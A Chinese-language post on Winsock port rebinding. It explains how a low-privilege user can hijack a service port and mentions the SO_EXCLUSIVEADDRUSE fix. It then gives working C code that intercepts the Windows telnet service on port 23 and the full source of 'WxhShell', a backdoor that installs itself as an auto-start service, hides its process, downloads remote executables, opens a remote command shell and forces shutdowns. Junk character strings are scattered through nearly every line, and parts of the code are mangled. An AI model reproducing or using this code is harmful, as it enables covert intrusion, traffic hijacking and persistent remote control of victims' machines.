在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
NE;(.. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
PO1:9 S,wj[;cv4 saddr.sin_family = AF_INET;
bG?WB,1 }<}`Q^Mlk saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7tf81*e T;4gcJPn"M bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Sob $j = h<? /Krs 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Zgy2Pot .qb_/#Bas 这意味着什么?意味着可以进行如下的攻击:
e~>p.l {d?4;Kd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,#'o)O# xnhDW7m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!F7EAQn{( 9GtVI^] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
RV#uy] Zs3]|bUR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@T,H.#bL ! 6p)t[s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7&RJDa:a7T PPj6QJ]R0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(Q h7bfd A&}nRP9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r0?hX p~d)2TC4# #include
WDH[kJ #include
u':0"5} #include
o7@4=m} #include
SqA+u/"j2 DWORD WINAPI ClientThread(LPVOID lpParam);
:,}:c%-^" int main()
nuQLq^e {
_#^A:a^e8 WORD wVersionRequested;
R.2KYhp, DWORD ret;
rmg";(I WSADATA wsaData;
|S>J<]H
p BOOL val;
?{.b9` SOCKADDR_IN saddr;
8x^H<y=O SOCKADDR_IN scaddr;
#*>7X>,J int err;
N?mY|x\}wK SOCKET s;
g]@R'2:1 SOCKET sc;
ko+M,kjwR int caddsize;
]/VIff HANDLE mt;
S]K6qY DWORD tid;
Lm*LJ_+ B wVersionRequested = MAKEWORD( 2, 2 );
53u.pc err = WSAStartup( wVersionRequested, &wsaData );
kq1M<lk if ( err != 0 ) {
|q!2i printf("error!WSAStartup failed!\n");
N5w]2xz! return -1;
)q]j?Z. }
(g)lv)4P saddr.sin_family = AF_INET;
G|PIH# J,^pt Ql //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Dho^^<`c+ P B6/<n9# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H:{(CY?t saddr.sin_port = htons(23);
/P8eI3R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i:Z.;z$1 {
QhE("}1 printf("error!socket failed!\n");
]N(zom_0d return -1;
Dpp52UnTE }
T`'3Cp$q val = TRUE;
d$?n6|4 //SO_REUSEADDR选项就是可以实现端口重绑定的
,f/IG. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_"w!KNX>(~ {
++{+
#s6 printf("error!setsockopt failed!\n");
T\e)Czz2- return -1;
WfjUJw5x"s }
_ KkVI7a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x4m_(CtK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:J4C'N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"w|k\1D Ppb2"I k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/w xxcq {
xX4^nem\G ret=GetLastError();
z`r4edk3 printf("error!bind failed!\n");
*}iT6OJ return -1;
Wn,g!rB^@ }
o2e h)rtB listen(s,2);
Ko]h r while(1)
E Pd.atA {
U5ud?z()OA caddsize = sizeof(scaddr);
f s"V'E2a //接受连接请求
n,Mw#
r?y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@%@^5 if(sc!=INVALID_SOCKET)
5$"[gdt)T {
{8bY7NH| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+$m skj0s if(mt==NULL)
HG3>RcB {
bQN4ozSi printf("Thread Creat Failed!\n");
by
y1MgQd break;
O"-PNF,J }
&\]f!'jV }
36Z`.E>~L CloseHandle(mt);
^nm!NL{z^ }
Boj{+rE0 closesocket(s);
AO 7qs:+ WSACleanup();
+q=jB-eIx return 0;
S~(VcC$K }
<$3nD b- DWORD WINAPI ClientThread(LPVOID lpParam)
']6#7NU {
UUEDCtF) SOCKET ss = (SOCKET)lpParam;
\-iUuHP SOCKET sc;
cp?P@- unsigned char buf[4096];
g$T_yT'' SOCKADDR_IN saddr;
>93{=+ long num;
qF6%XKbh= DWORD val;
ZE(RvPW DWORD ret;
Sl<-)a: //如果是隐藏端口应用的话,可以在此处加一些判断
NCM{OAjS5U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N8(x), saddr.sin_family = AF_INET;
.Zt/e>K& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oD}FJvV saddr.sin_port = htons(23);
WT
{Cjn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Vq7
kA " {
"yq;{AGOGl printf("error!socket failed!\n");
BMj&*p8R return -1;
8}0y)aJ }
_ktSTzH0 val = 100;
F5Q. Vh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?'#;Y"RT {
(X7yNIPfA ret = GetLastError();
Jsnmn$C return -1;
[[DFEvOEh }
3@ukkO) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5'Ay@FJ: {
qlT:9*&g ret = GetLastError();
fU~y481A return -1;
]{U*+K%,J }
g(r'Y#U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^yZSCrPGI {
n$0)gKN7 printf("error!socket connect failed!\n");
z'K7J'(R closesocket(sc);
G}xBYc0b closesocket(ss);
W2(=m!:U return -1;
xs`gN }
~4` ec while(1)
2}Plr{s9 {
AX Jj"hN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vCo}-b-j //如果是嗅探内容的话,可以再此处进行内容分析和记录
W" ,jZ"7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>Ez}r(QQ^ num = recv(ss,buf,4096,0);
ghQsS|)p. if(num>0)
M 6Z`Pwv]; send(sc,buf,num,0);
!3M!p& else if(num==0)
95&sFT
C break;
4GejT(U num = recv(sc,buf,4096,0);
4i&!V9@: if(num>0)
pR7G/]U$A send(ss,buf,num,0);
Z:gsguX else if(num==0)
AG%es0D[H break;
+Ws}a }
EMH}VigR closesocket(ss);
yXl.Gq>]{ closesocket(sc);
s/^=WV return 0 ;
DYk->)
}
/38Pp% 62'0 )Cy^ J@{Bv% ==========================================================
(8F?yBu a#**96Av 下边附上一个代码,,WXhSHELL
^o<Nz8 F+^[8zK^ ==========================================================
a2)*tbM9\ t$D[,$G9 #include "stdafx.h"
]>!_OCe& 2YEn)A@8 #include <stdio.h>
.kDCcnm
#include <string.h>
jo:p*Q"F #include <windows.h>
bbA<Zp #include <winsock2.h>
j*\MUR= #include <winsvc.h>
yG_.|%e #include <urlmon.h>
GDe$p;#"9g >%A=b}VS #pragma comment (lib, "Ws2_32.lib")
Y{{,62D #pragma comment (lib, "urlmon.lib")
l%w|f`B: B|w}z1. #define MAX_USER 100 // 最大客户端连接数
fkG"72 95A #define BUF_SOCK 200 // sock buffer
L7="! I #define KEY_BUFF 255 // 输入 buffer
!aoO,P#j aq**w?l #define REBOOT 0 // 重启
TK1MmL #define SHUTDOWN 1 // 关机
aa3YtNpP F&Z>B}; #define DEF_PORT 5000 // 监听端口
N.J:Qn`( EE{%hGb #define REG_LEN 16 // 注册表键长度
TJa%zi #define SVC_LEN 80 // NT服务名长度
z$,hdZ] :9>nY // 从dll定义API
F<1'M#bl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ho9*y3] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7P(:!ce4- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1O{67Pf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R|yTUGY HM
x9M$ // wxhshell配置信息
_J`M>W)8 struct WSCFG {
'7%9Sqx int ws_port; // 监听端口
Jx,s.Z0@7, char ws_passstr[REG_LEN]; // 口令
S!bvU2d int ws_autoins; // 安装标记, 1=yes 0=no
p[IgnO char ws_regname[REG_LEN]; // 注册表键名
ba.OjK@ char ws_svcname[REG_LEN]; // 服务名
]vG)lY.= char ws_svcdisp[SVC_LEN]; // 服务显示名
^B]t4N2i char ws_svcdesc[SVC_LEN]; // 服务描述信息
XiUsaoQm3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;0WlvKF int ws_downexe; // 下载执行标记, 1=yes 0=no
<CdO& xUY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<7h'MNf& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}:Akpm }?$Mh) };
z oXF"Nz 3?<vnpN=5d // default Wxhshell configuration
,s<d"]< struct WSCFG wscfg={DEF_PORT,
Yi,um-% "xuhuanlingzhe",
}\*|b@)] 1,
B!lw>rUMQ "Wxhshell",
.4-S|]/d, "Wxhshell",
oWT0WS "WxhShell Service",
Z%{2/mQ "Wrsky Windows CmdShell Service",
!o7.L%S "Please Input Your Password: ",
QX/`s3N 1,
e;v2`2z2 "
http://www.wrsky.com/wxhshell.exe",
{643Dz<e "Wxhshell.exe"
'McVaPav };
T!AQJ:;1 A#{*A // 消息定义模块
o!N@W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
L T!X|O. char *msg_ws_prompt="\n\r? for help\n\r#>";
p^3d1H3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5^i ^? char *msg_ws_ext="\n\rExit.";
P^r8JhDJ char *msg_ws_end="\n\rQuit.";
q1j[eru char *msg_ws_boot="\n\rReboot...";
"5FeP; char *msg_ws_poff="\n\rShutdown...";
37DvI& char *msg_ws_down="\n\rSave to ";
SJmri]4K Si(?+bda0c char *msg_ws_err="\n\rErr!";
}r[BME char *msg_ws_ok="\n\rOK!";
[\y>Gv% TW$^]u~v char ExeFile[MAX_PATH];
G{9y`; int nUser = 0;
{0~ p" %* HANDLE handles[MAX_USER];
# jyAq$I0 int OsIsNt;
6C=.8eP +-i@R% SERVICE_STATUS serviceStatus;
ME"/%59r SERVICE_STATUS_HANDLE hServiceStatusHandle;
F ry5v?22 +yk>jx // 函数声明
: nn'> int Install(void);
xMu6PM<l int Uninstall(void);
-`JY] H int DownloadFile(char *sURL, SOCKET wsh);
N[%IrN3 int Boot(int flag);
Ex{]<6UAu void HideProc(void);
`K.yE0^i int GetOsVer(void);
B("kE` int Wxhshell(SOCKET wsl);
_;9)^})$ void TalkWithClient(void *cs);
~drNlt9jf int CmdShell(SOCKET sock);
W3#L!&z_wK int StartFromService(void);
Ki2_Nh>tM int StartWxhshell(LPSTR lpCmdLine);
j
yE+?4w; |b'AWI81D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
w67Pw
VOID WINAPI NTServiceHandler( DWORD fdwControl );
8dNJZoV TOs|f8ay // 数据结构和表定义
b?l\QMvi SERVICE_TABLE_ENTRY DispatchTable[] =
}T@AoIR0t {
>2r/d {wscfg.ws_svcname, NTServiceMain},
gvX7+F=}B {NULL, NULL}
5;+Bl@zGu };
x[E`2_Ff 0 ZzY6M"eUXD // 自我安装
p}\!"&,^m int Install(void)
!!AutkEg> {
uu:BN0 char svExeFile[MAX_PATH];
=:lacK(0 HKEY key;
<cS1}" strcpy(svExeFile,ExeFile);
oz QL2 -3C~}~$>` // 如果是win9x系统,修改注册表设为自启动
. Hw^Nx if(!OsIsNt) {
-Cl0!}P4I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iD9GAe}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kE1u-EA RegCloseKey(key);
R~o?X^^O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!Wk "a7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ay2.CBF RegCloseKey(key);
pAYuOk9n return 0;
jw
H)x }
p("do1: }
`%VrT` }
6mZFsB else {
NB[b[1 Ch EJZ2V>\_-0 // 如果是NT以上系统,安装为系统服务
l)zS}"F, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
on~rrSK if (schSCManager!=0)
gBN;j {
UCFef,VW SC_HANDLE schService = CreateService
2gi`^%#k] (
FTn[$q schSCManager,
t_3XqjuA wscfg.ws_svcname,
P<U{jkM\/ wscfg.ws_svcdisp,
"{}5uth SERVICE_ALL_ACCESS,
2Ig.hnHj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ZCa?uzeo] SERVICE_AUTO_START,
BX?Si1c
SERVICE_ERROR_NORMAL,
z>!b svExeFile,
gC?k6)p$N NULL,
/Bc
;)~ NULL,
3>Yec6Hs NULL,
S;=
D/)[mr NULL,
tkA '_dcIC NULL
crUXpD );
dS-l2 $n if (schService!=0)
2Tp.S3 {
~<aCn-h0 CloseServiceHandle(schService);
a`}HFHm\2, CloseServiceHandle(schSCManager);
: )&_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FXIQS' strcat(svExeFile,wscfg.ws_svcname);
^
`!6Yax? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5 gE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
oY &r76 RegCloseKey(key);
AV?*r-vWL. return 0;
FQ_4a}UOjX }
tH$Z_(5
}
6HyQm?c>a CloseServiceHandle(schSCManager);
N=(rl#< }
6g)21Mh# }
SOd(& > Rh%x5RFFc return 1;
P*_Q 8I)Y }
y'{0|Xj I-^Y$6- // 自我卸载
;s{rJG{inG int Uninstall(void)
P66>w})@ {
+<I>]J2 HKEY key;
1^vN?#Kt YS&3+Tp if(!OsIsNt) {
74>.E^/x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
' y1=Z RegDeleteValue(key,wscfg.ws_regname);
\S
_ycn RegCloseKey(key);
(@]{=q< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~G"5!,J RegDeleteValue(key,wscfg.ws_regname);
Rc @p!Xi RegCloseKey(key);
3(X"IoNQ return 0;
lbMb }
4]B(2FR[8 }
?me0J3u_ }
Bc$t`PI else {
+Bgy@.a? VCtj8hKDr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
kd2+k4@# if (schSCManager!=0)
:9.ik {
t!v#rn[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]wZG4A if (schService!=0)
PXWBc\ {
\7jK6;R< if(DeleteService(schService)!=0) {
N,L$+wm CloseServiceHandle(schService);
1O8RGk4 CloseServiceHandle(schSCManager);
?
3Td>x return 0;
kLK}N>v}X }
VXQ~PF]z0 CloseServiceHandle(schService);
W2s6!_AN }
JS}iNS'X CloseServiceHandle(schSCManager);
D >$9( }
jCkYzQUPz }
rF'q\tJDz 3nMXfh/ return 1;
w!7Hl9BW }
ZJ1% ry0P\wY} // 从指定url下载文件
!IF#L0z int DownloadFile(char *sURL, SOCKET wsh)
}9=VhC%J {
Bg{"{poy HRESULT hr;
-Z9e}$q$, char seps[]= "/";
JHBX'1GQa char *token;
sSU p7V char *file;
26?yEd6^Z char myURL[MAX_PATH];
pkQEry&Z char myFILE[MAX_PATH];
n'>`2 s [WW3'= e^ strcpy(myURL,sURL);
A@4sb
W_
token=strtok(myURL,seps);
|bA\>%~ while(token!=NULL)
3U^E<H {
Xf(H_&K file=token;
qf-0 | w token=strtok(NULL,seps);
rZEL7{ }
Dn1aaN6
f5'Cq)Vw_ GetCurrentDirectory(MAX_PATH,myFILE);
_NA[g:DZ&O strcat(myFILE, "\\");
ye4 T2= strcat(myFILE, file);
%v5 IR send(wsh,myFILE,strlen(myFILE),0);
HJ~0_n& send(wsh,"...",3,0);
rE)lt0mkv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9mZ[SQf if(hr==S_OK)
(Rj'd>%c return 0;
$DBJ"8n2 else
0ZcvpR?G return 1;
A%(t' z $}+t|`*q8] }
k/srT< \iVb;7r)9: // 系统电源模块
vr/*z euA int Boot(int flag)
O1[`2kj^HB {
;hzm&My HANDLE hToken;
M<$a OW0 TOKEN_PRIVILEGES tkp;
hhRUC&Y%V -y]e`\+[ if(OsIsNt) {
u4hC/! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;d5d$Np@m& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ufq9+} tkp.PrivilegeCount = 1;
Ls51U 7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l7vU{Fd-h^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F)XO5CBK if(flag==REBOOT) {
re[v}cB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*7cc4 wGQ return 0;
K FM x(fD }
w\SfzJN else {
c{4Y?SSx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0q}k"(9 return 0;
GE?M. '!{{ }
6)5Akyz4V }
A}"aH else {
fRlO.!0( if(flag==REBOOT) {
: ZehBu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*{TB<^ * return 0;
9\f%+?p }
pT ]: TRPS else {
'Sk-L
5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z"D'rHxy return 0;
(
&N`N1 }
q#pD}Xe$ }
2":{3=oW~ %OT} r return 1;
#z$g1\v }
Cg#@JuwHa T'8d|$X // win9x进程隐藏模块
85gdmla@9 void HideProc(void)
s[2>r#M {
MbbKo-7F$ `
b$u w HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h_*!cuH if ( hKernel != NULL )
}LYK:?_/ {
0[L)`7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1>)q5D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{PBm dX FreeLibrary(hKernel);
.0=VQU }
mssCnr; u"hv
_ml return;
SyL:=NZ }
qE:/~Q0 8r{:di* // 获取操作系统版本
BU;o$"L int GetOsVer(void)
xr yXO( {
y*oH"]D OSVERSIONINFO winfo;
Ng,<4; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
qL;u59 GetVersionEx(&winfo);
K (px-jY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
LWX,u return 1;
HEBKRpt else
jVdRy{MH return 0;
?mq<#/qb }
d$f3Cre aWg*f*2f // 客户端句柄模块
Z4VNm1qs int Wxhshell(SOCKET wsl)
md
S`nhb {
r
P1FM1"M SOCKET wsh;
zLt7jxx struct sockaddr_in client;
SN<Dxa8Iy DWORD myID;
|K(jXZ) 0D==0n while(nUser<MAX_USER)
v$JhC' {
CT2L }5L& int nSize=sizeof(client);
dsrKHi wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oZS.pi if(wsh==INVALID_SOCKET) return 1;
Ul{{g$ Fi3k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P&kjtl68Y if(handles[nUser]==0)
\A%s" O/ closesocket(wsh);
'O:QS) else
x )w6 nUser++;
0YsBAfRG }
nm}wdel" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@hV F}ybp (^lw<$N return 0;
#Y>os3] }
qPH=2k,H 8n'"RaLQ8 // 关闭 socket
d&G#3}kOb% void CloseIt(SOCKET wsh)
\g;o9}@3~ {
2N/4. closesocket(wsh);
5,~Ju>y* nUser--;
5&Vp(A[m[ ExitThread(0);
\+3P<?hD# }
=k0qj_ 'n$TJp|s // 客户端请求句柄
QA"mWw-Ds void TalkWithClient(void *cs)
azKiXr#_( {
j-}WA" 77?D
~N[ SOCKET wsh=(SOCKET)cs;
7#pu(:T$ char pwd[SVC_LEN];
e6y,)W"WW2 char cmd[KEY_BUFF];
&:@)roCR char chr[1];
|G(9mnZ1 int i,j;
ba`V`0p- ( "j*{7FBqk while (nUser < MAX_USER) {
r@)_>( NW%u#MZ[h if(wscfg.ws_passstr) {
qGK -f4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z%0'v`7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&aLelJ~ //ZeroMemory(pwd,KEY_BUFF);
9snc
*< i=0;
%Bf;F;xuB while(i<SVC_LEN) {
OF_g0Zu DnI31!+y // 设置超时
G9qN1q~ fd_set FdRead;
EmFL
%++V struct timeval TimeOut;
-:]-g:;/ FD_ZERO(&FdRead);
=ICakh!TO FD_SET(wsh,&FdRead);
;D>*Pzj TimeOut.tv_sec=8;
!kG 2$/lR TimeOut.tv_usec=0;
$kD;*v= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S#[w).7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^6kE tTO* =F9!)r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}:zTz%_K pwd
=chr[0]; a?K 3/0G
if(chr[0]==0xd || chr[0]==0xa) { ZOIx+%/Vd#
pwd=0;
O86[`,
break; b,r{wrLe)
} XUK!1}
i++; knb 9s`wR
} UD6:X&Un
Jb1L[sT2
// 如果是非法用户,关闭 socket h,!`2_&UQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hsl0|jy(/
} /$Ca}>
e]Q bC"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?y`we6~\1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lk/[xQ/
B3NDx+%m
while(1) { #fQ}8UxU,
[5T{`&
ZeroMemory(cmd,KEY_BUFF); e0&x?U*/
Wm#F~<$
// 自动支持客户端 telnet标准 6-6ha7]s
j=0; X:kqX[\>
while(j<KEY_BUFF) { q37d:Hp
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x<gP5c>zm
cmd[j]=chr[0]; s-lNpOi
if(chr[0]==0xa || chr[0]==0xd) { Xub<U>e;b
cmd[j]=0; (_.0g}2
break; E#A%aLp0E
} +ebmve \+
j++; kh5VuXpe
} vOV$H le
NG\g_^.M
// 下载文件 *MD\YFXR
if(strstr(cmd,"http://")) { M9ACaf@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (5\VOCT>4%
if(DownloadFile(cmd,wsh)) JC#M,j2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/J3 9Y~+
else b2vCr F;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sO$X5S C9
} G W@g
else { EH~t<
WT_4YM\bz
switch(cmd[0]) { :SJxG&Pm=~
lFT`
WO
// 帮助 `~;`q
case '?': { 0CR~ vQf#r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zNRR('B?
break; NR9=V
} :JD*uu
// 安装 0T7c =5z4W
case 'i': { -)E
nr6
if(Install()) <!G%P4)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [L`w nP
else ic=tVs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9+[T3b
break; /]>8V'e\
} Sece#K2J|
// 卸载 pr.+r?la]
case 'r': { 9ymx;
if(Uninstall()) ,.,spoV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4qvE2W}&
else ZgI ?#e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); efXiZ
break; #BhDC.CcW
} `:#IZ
// 显示 wxhshell 所在路径 Wz&[cj
case 'p': { Rn9e#_ Az
char svExeFile[MAX_PATH]; H7?Sd(U
strcpy(svExeFile,"\n\r"); q<Z`<e
strcat(svExeFile,ExeFile); c5- 56Q
send(wsh,svExeFile,strlen(svExeFile),0); {NTMvJLm
break; D&-cNxh
}
H_vGa!_
// 重启 6z2W N|78
case 'b': { -J]j=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G;he:Bf
if(Boot(REBOOT)) _2~+%{/m,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5lrjM^E|
else { H63?Erh>a
closesocket(wsh); F1GFn|OA
ExitThread(0); p:?h)'bA<
} ./i5VBP5
break; `NB6Of*/
} w0&|8y
// 关机 Y{D?&x%yq
case 'd': { _h^er+d!_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ';zS0Yk
if(Boot(SHUTDOWN)) PfjD!=yS=h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW~%1G_v
else { |YcYWok
closesocket(wsh); 2e^6Od!Y?
ExitThread(0); 0@>
} JsK_q9]$e
break; Ev]oPCeA
} :3A^5}iz
// 获取shell AOv>O52F/Q
case 's': { ]47!Zo,
CmdShell(wsh); )'i n}M
closesocket(wsh); pv"QgH
ExitThread(0); zXaA5rZO
break; 2ut)m\)/)
} r<OqI*7
// 退出 p>h}k_s
case 'x': { #&,~5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [pX cKN
CloseIt(wsh); w:h([q4X
break; MHQM'
} ZfVw33z
// 离开 OfPv'rW{x
case 'q': { ;U[W $w[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7-("ppYX=
closesocket(wsh); AB=Wj*fr
WSACleanup(); Rg SB?
exit(1); <Gj]XAoe%
break; avy@)iO7
} on.m
'-s
} [Wn6d:
} #3}!Q0
yi:1cLq2
// 提示信息 1k!$#1d<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =;{8)m
} D!rD-e
} "Tnmn@
3U4h>T@s|
return; U[G5<&Z^
} &UIS